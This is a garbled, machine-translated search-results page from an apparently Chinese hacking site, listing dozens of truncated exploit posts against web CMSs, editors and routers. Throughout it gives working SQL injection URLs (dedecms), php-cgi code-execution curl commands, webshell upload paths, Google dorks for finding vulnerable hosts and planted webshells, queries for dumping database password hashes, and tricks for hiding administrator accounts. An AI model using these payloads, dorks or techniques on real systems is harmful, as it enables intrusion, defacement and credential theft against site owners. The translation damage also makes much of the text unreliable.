7620 matches found
Linksys EA2700 password change authentication defects and CSRF vulnerability-vulnerability warning-the black bar safety net
Detailed description: The Linksys EA2700 router, on the same network can use the remote management to change the router password. This can be from the Internet access this router's network. A CSRF attack! Simply send a POST request to apply. cgi will turn on remote management and change the Admin...
South Korea HOMPYNET CMS vulnerability-vulnerability warning-the black bar safety net
Upload vulnerability : http://www.xxx.com/admin/imageadmin3.php?boardid=&iname=&iform= http://www.xxx.com/admin/imageadmin2.php?boardid=&iname=&iform= Uploaded posterior diameter: http://www.xxx.com/biswebpage/images/shell.php.en Editor: http://www.xxx.com/admin/editor/SWE.php...
SiteServer CMS UserCenter/login. aspx page the user name at sql injection-vulnerability warning-the black bar safety net
After testing spike the latest of the 3. Version 5 stieserver official website:www. siteserver. cn EXP: Direct access to the UserCenter/login. aspx The username at the input: 1 2 3'insert into bairongAdministratorUserName,Password,PasswordFormat,PasswordSalt...
Mysql provide the right to exploit the expanded applications-vulnerability warning-the black bar safety net
This: MySQL Windows Remote System Level Exploit Stuxnet technique 0day http://www.exploit-db.com/exploits/23083/ Roughly looked at, the original is in the export file when the out of the question, specifically how out of the question, showing look at the mysql source code than I can see to...
Sunny Navigation System cms the background filter is not strict vulnerability-vulnerability warning-the black bar safety net
BY: madmen From 1 6 3 Micro Forum Test URL http://www.xxx.com/admin/log/dispcont.asp admin/log/dispcont. asp View administrator login records where the filter is not strict lead to can view the login record of success Although success is cmd5 encryption, but a large part can be cracked Tasteless ...
Qi Bo cms whole Station system(original PHP168)is configured incorrectly actuating any of the user login-bug warning-the black bar safety net
Qi Bo cms whole Station system of the original PHP168 configured improperly cause any user login, such as the cms administrator. Detail: or because of UCCENTER the problem, before it is too UCKEY variable is empty when you can call UCCENTER in the associated users API directly operates today unde...
php-cgi exploit EXP-vulnerability warning-the black bar safety net
1, local contains direct code execution: curl-H "USER-AGENT: ? system'id';die;?& gt;" http://target.com/test.php?-dautoprependfile%3d/proc/self/environ+-n 2, The remote contains the implementation code: curl...
Discuz 1.5 with NGINX secondary analytical proof path BUG-vulnerability warning-the black bar safety net
Author: Sunny small cast Test environment: discuz X1. 5+nginx 1.0 漏洞 文件 source/function/functioncore.php that code: $G'setting''domain''app''default' && $content = pregreplace"/a href="^"+"/e", "rewriteoutput'sitedefault', 0, '".$ G'setting''domain''app''default'.$ port.$ G'siteroot'."',...
Period-rich ultra-personal website system guestbook write horse vulnerability-vulnerability warning-the black bar safety net
Source code download: http://www.mycodes.net/24/2149.htm addgbook. asp to submit a word. Connection: google:as anti-batch, Tello is!...
Zhuo Xun intelligent site management system EmteEasySite vulnerability 0day-vulnerability warning-the black bar safety net
| Zhuo Xun intelligent site management system ,official website:http://www. emte. com. cn/ Google:technical support:Zhuo information technology the default background:/main/login. asp //directly into the backstage to see the copyright is not EmteEasy system Exploit:the default address database ca...
Foxit Reader Freetype Engine remote integer overflow vulnerability-vulnerability warning-the black bar safety net
Release date: 2011-06-21 Update date: 2011-06-21 Affected system: Foxit Foxit Reader 4. x Foxit Foxit Reader 3. x Foxit Foxit Reader 2. x Not affected system: Foxit Foxit Reader 4.0.0.0619 Description: -------------------------------------------------------------------------------- BUGTRAQ ID: 4 ...
DeDecms xss pass to kill 0day attached getshell EXP-vulnerability warning-the black bar safety net
Author: haris Vulnerability cause: due to Editor filter is not strict, will cause the malicious script to run Currently only tested on 5. 3 to 5. 7 version. Other earlier everyone is free to play. Here to talk about the use of the method. Condition 3: The 1. Open registration 2. Open submission 3...
Quick. CMS v3. 0 CSRF flaws and fixes-vulnerability warning-the black bar safety net
Exploit Title: Quick CMS v3. 0 Cross Site Request Forgery Add Admin User + Author : ^Xecuti0n3r + E-mail : xecuti0n3ryahoo.com + Category : Web Apps XSRF + Dork : intext:"Quick. Cms v3. 0" inurl:admin.php + Demo CMS Link: http://opensolution.org/Quick.Cms 1 1 0 I'm ^Xecuti0n3r member from...
Fire article back office management system V2. 1 0day-vulnerability warning-the black bar safety net
Fire article the background management system uses the secondary classification, the interface simple and generous, features simple and easy to use, can be remote automatically upload pictures Delete the article, article related images also be deleted to reduce junk files exist. First open the...
freetextbox editor 0day and fix-vulnerability warning-the black bar safety net
By:kook Vulnerability Description: The All version didn't do login authentication can directly access to the upload Trojan FTBv3-3-1 can directly upload any file format Freetextbox 1.6.3 and other versions can be uploaded in the format 1. asp;. jpg file upload after the Trojan address as the...
Anti-injection program to get a shell and fix-vulnerability warning-the black bar safety net
When you use single quotes“’”to test a website there may be injection vulnerability in the address, assuming the URL is“www.xxxx/news.asp?id=6”pop“your operation has been recorded!” Such information, and we can't go to bypass anti-injection system, you can try to submit http://www. xxxx/sqlin. as...
South Korea Forum program Artyboard 0day-vulnerability warning-the black bar safety net
Artyboard is Korea relatively early have an ASP language to get the forum,widely used in South Korea small website. ! A vulnerability exists in the Page editor/editorflash. asp Without verification you can upload, and upload to the root directory after the file name not be changed,in combination...
PhpMyAdmin client side 0Day redirect link code injection-vulnerability warning-the black bar safety net
PhpMyAdmin Client Side 0Day Code Injection and Redirect Link Falsification Credits: Emanuele "emgent" Historical [email protected] Marco "whitesheep" Rondini [email protected] Alessandro "scox" Scoscia [email protected] In error.php, PhpMyAdmin permit to insert text and...
Zoopeer 0.1 & 0.2 fckeditor php4 upload vulnerability-vulnerability warning-the black bar safety net
Zoopeer 0.1 & 0.2 program using the fckeditor the php version of the editor, not the reasonable configuration verification. Leads can be submitted. php4 file to control site permissions. EXP upload address:...
1 6 2 1 0 0 Site Navigation 1. 9 local file inclusion vulnerability-vulnerability warning-the black bar safety net
Breaking app breaking vulnerability, but in order to encourage everyone to learn, or sent to. Reject malicious destruction! Program official: http://download.162100.com admin directory run.php the file part of the code is as follows: I find the Upload Directory editor/index.html Use the upload...
PHP Hosting Directory 2.0 background verification bypass vulnerability-vulnerability warning-the black bar safety net
PHP Hosting Directory 2.0 program background verification is not strictly, can lead to bypass the password verification sign in the background. Google: "powered by PHP Hosting Directory 2.0" Default background:http://127.0.0.1/admin Use method: Do not need to enter any password, through cookies...
dedecms 5. 6 the latest injection 0day vulnerabilities-vulnerability warning-the black bar safety net
Injected code: uploads/plus/rss. php? tid=1&Cs1=1&Cs2%2 9% 2 9%20AND%2 0% 2 2% 2 7% 2 2%20AND%20updatexml%2 8 1,%28SELECT%20CONCAT%280x5b,uname,0x3a,MID%28pwd,4,1 6% 2 9,0x5d%2 9%20FROM%20dedeadmin%29,1%2 9%2 3%2 70=1 Test: Please turn off member registration, member center there getshell...
Taobao Dr mutual brush platform Alliance upload vulnerability-vulnerability warning-the black bar safety net
In fact, this vulnerability is a dynamic Shopping Mall that upload issue. if session“useridname””" or session“AdminName””" then this is uploadflash. the asp file to access the authentication, you'll need to register a user can upload. With a bright kid direct upload. Find a keyword, but you can...
1 1 4. Site Navigation Station system of V1. 1 3 XSS cross-site attacks-vulnerability warning-the black bar safety net
url-submit/index. php to submit the data is not filtered directly into the database,resulting in a savings ofXSSvulnerability Test method: In the Site Name column fill in thescript src=http://www. hackqing. cn/qingexp. js/script（src is fill in your own js file for the address,don't tell me that t...
DedeCms V5. 6 injection ODAY-vulnerability warning-the black bar safety net
Do not analyze it.. Directly to the use of the code plus/the advancedsearch. php? mid=1&sql=SELECT%2 0%20FROM%2 0%2 3@admin dede the password is a 3 2-bit MD5 minus the head 5, minus the tail seven, get 2 0 MD5 password method is the former minus 3 minus 1, Get 1 6-bit MD5...
nginx File Type Error parsing vulnerability-vulnerability warning-the black bar safety net
Vulnerability description: nginx is a high-performancethe web server, the use is very extensive, which not only is often used as a reverse proxy, it can also be very good support Support PHP to run. 80sec found there is a more serious security issues, by default could lead to a server error of th...
Bijie hotline enterprise built Station system vulnerabilities-vulnerability warning-the black bar safety net
google inurl:friendlink. asp website description: Email: exp: Broke Management User name password （poc:cmd5 encryption 3. Background address: admin/adminlogin. asp 4. Background a database backup...
Various database password hash access statement-vulnerability warning-the black bar safety net
There is no access, can also grab? Various database password hash get the statement, you can also directly use the sqlmap this injection tool! SQL Server 2 0 0 0:- SELECT password from master. dbo. sysxlogins where name='sa' 0×010034767D5C0CFA5FDCA28C4A56085E65E882E71CB0ED250341...
dotNETCMS v1. 3 vulnerability 0day-vulnerability warning-the black bar safety net
Affected versions: dotNETCMS v1. 3 Vulnerability description: 前些 天 在 t00ls.net discussion the discovery of this system, and new cloud that vulnerability almost. By IIS6. 0 resolve get the shell. Exploit method: the article first black and white front First registered members, and then into the...
php168 v6. 0 get shell vulnerability-vulnerability warning-the black bar safety net
by:mrxhming The two-step first do/jsarticle. php file if! eregi"^hot|com|new|lastview|like|pic$",$type die"Type Error"; $FileName=dirnameFILE."/../ cache/jsarticlecache/"; if$type==’like’ $FileName.= floor$id/3 0 0 0."/"; else unset$id; $FileName.=" $type$fid$id. php"; .................. if!...
Xxasp Network Hard Disk v3. 3. 2 Sql injection 0day-vulnerability warning-the black bar safety net
Xxasp Network Hard Disk v3. 3. 2 Sql injection 0day As for this system I do not introduced,the vulnerability relates to the file MyFiles. asp ShareList. asp, I to ShareList. asp is an example of a simple analysis the next,The code is as follows: Dim...
Use google to conduct“penetration testing”-vulnerability warning-the black bar safety net
One, use google to find is people who installed a php webshell back door of the host, and test the ability to use; Second, use google to find exposed INC sensitive information. OK, now we start: 1. Lookup using a php webshell We in the google search box fill in: Code: intitle:"php shell" "Enable...
Flower horse Inbox sub-Getshell 0day-vulnerability warning-the black bar safety net
Features:the login. asp can look to copyright,but some boxes put in this address change request. In addition to the main directory there is a wsidny. asp Set the program to filter what ash very closely,see To is a professional people to write,only can take place in this wsidny. asp Look at the...
Rongsoft Oday bulk to get SHELL-vulnerability warning-the black bar safety net
Author: cast Blog:http://hi. baidu. com/castblog/ Then GOOGLE search for keyword: inurl:xinwenxq. asp? biaohao= Access management address: gonggong/denglu/denglu. asp First, in the management of the landing page, with a simple'or'='or'can fool the past! In the verification file:...
How to make your own injection tool to hack websites-vulnerability warning-the black bar safety net
Usually we encounter injection vulnerability class of website most of the people are NBSI Or al D kind of injection tools. But some of the sites of the injection point is very difficult to construct, or that the injection of the statement special. If by hand to the injection while time-consuming...
Editor vulnerability summary-vulnerability warning-the black bar safety net
How to search editor vulnerability? site:editor inurl:asp? id inurl:ewebeditornet Such as the common editor of the vulnerability are: ewebeditor ewebeditornet fckeditor editor southidceditor SouthidcEditor bigcneditor A:ewebeditor is an example 1:default download down the back:...
To pack a site navigation of source code-bug warning-the black bar safety net
Brightly lit IT blog I accidentally saw a site navigation of source code, this source code is“visit hao123 and 2 6 5 of the COMBINED VERSION” There is a background but also very powerful！！！！！ Completely can be a background operation, I think such a station should be safe, so down look, a look...
Discuz! admin\styles.inc.php get-webshell bu-vulnerability warning-the black bar safety net
author: ring04h team:http://www. 80vul. com Due to Discuz! Admin\styles. inc. php in pregmatch regular judging$newcvar the variable operation is not precise enough, leading to code execution vulnerability. An analysis In file admin\styles. inc. php in the code: if$newcvar && $newcsubst...
Discuz! 7.0 and below the version background get a webshell without founder-vulnerability warning-the black bar safety net
Author: oldjun I rarely care about such vulnerability, it has been rarely take the stand, and encounters a DZ more just passing through, also did not go too much care about the DZ's vulnerability or to study the code; shortly before the Forum is left a shell, I check half a day, but since met, it...
To quickly locate website source code-bug warning-the black bar safety net
In practice we often face such a dilemma: we felt that the target site uses a set of open source code, but by the webmasters of the pages of the modified obliterate the ability to directly access this source The name of the dominant logo. This our hack is obviously unfavorable, we may in order to...
PJblog V3. 0 0day Vbs version of the exploit tool-vulnerability warning-the black bar safety net
Vulnerability details please seeon my computer there is no install php, just write a Vbs version of the exploit Tool, the specific code as follows: 1. If WScript. Arguments. Count 2 Then 2. WScript. Echo “Usage: Cscript.exe Exp. vbs to detect the forum URL you want to detect the user name” 3...
File upload download to the shellcode-exploit warning-the black bar safety net
Author: thorn Due to personal career development reasons, the future may not be in-depth study of this aspect of things, will only as pure Hobbies. I recently have worked on WEB and Browser security, as well as the safety design aspects of work. So in order to let these rot in my hard disk where...
SupeV 1.0.1 0DAY-vulnerability warning-the black bar safety net
Source: WEB Security manual Thank '&waste. Delivery Hello everyone, I'm nameless Today released a discuz its products "video podcast SupeV 1.0.1" 0day Vulnerability file: api目录下test.php Looking directly at the code $str=filegetcontents $thumb ;//first the 1 8 line with filegetcontents to read$thu...
During the Olympics hung it to focus on means-vulnerability warning-the black bar safety net
In recent times,know the security emergency response team to capture some of the use of a similar domain name,input the wrong domain name to hang horse behavior. Such the object of attack is generally not input the Internet of peoplethey will easily enter the domain name,the careless oneI is also...
Copy and the real hidden administrator account(complete batch)-bug warning-the black bar safety net
Online to see a lot of copy administator permissions to the account of the method or tool, such as the establishment of the admin$, the so-called hidden account. And copy administrator permissions. In fact, this is a temporary, one-time hidden only, Server reboot through the“Computer Management”o...
dvbbs7. 0 and 8. 0 access backstage to get webshell-vulnerability warning-the black bar safety net
Create a new database file, named a. mdb Create a new text file, 命名为b.txt and write the word Trojan At the command line enter the command copy a. mdb/b+b. txt/b c. mdb Get the c. mdb is already inserted into the word Trojan in the database Then in the posting the place to upload attachments, the...
How to hack Internet cafe charging system in the cafe on the Overlord network-vulnerability warning-the black bar safety net
One with Alt+Ctrl+Del key combination（Vientiane） After the boot, when appears the blue background, immediately press the key combination, pop-up“close Program”dialog box, if inside a“client”after the immediately closed, when the discovery of the“unknown”program is also closed because of Vientiane...
Green create articles simple system analysis-vulnerability warning-the black bar safety net
Analysis time: 2008-7-7 1 of 4: 38-18: a 0 0 Vulnerability release:Awolf small C Affected versions: QCDNNEWS Version 4.13 other version not see Vulnerability file: UserReg. asp Note:Use this article to do illegal acts with the author himself independent Recently to the company to find the entire...
Use sohu site URL jump loopholes to deceive the mailbox password-vulnerability warning-the black bar safety net
Author: emptiness prodigal heartXGC url jump vulnerability all over the major web site, simple look, THE9, sohu, etc. actually there are This loophole is! We take sohu, for example, talk about the vulnerability. Come to sohu, the user registration page, you can see that in the IE address bar, the...
Line of code are not written, penetrating the Jinshan Islands-vulnerability warning-the black bar safety net
Kingsoft files security the island will put the file to protect COPY to My Document\Kingsoft security Island\documents When you want to access the directory of the file, it will prompt reject Penetration method,直接 运行 cmd.exeI'm the My Document directory in the D disk root directory d: d:\cd MYDOC...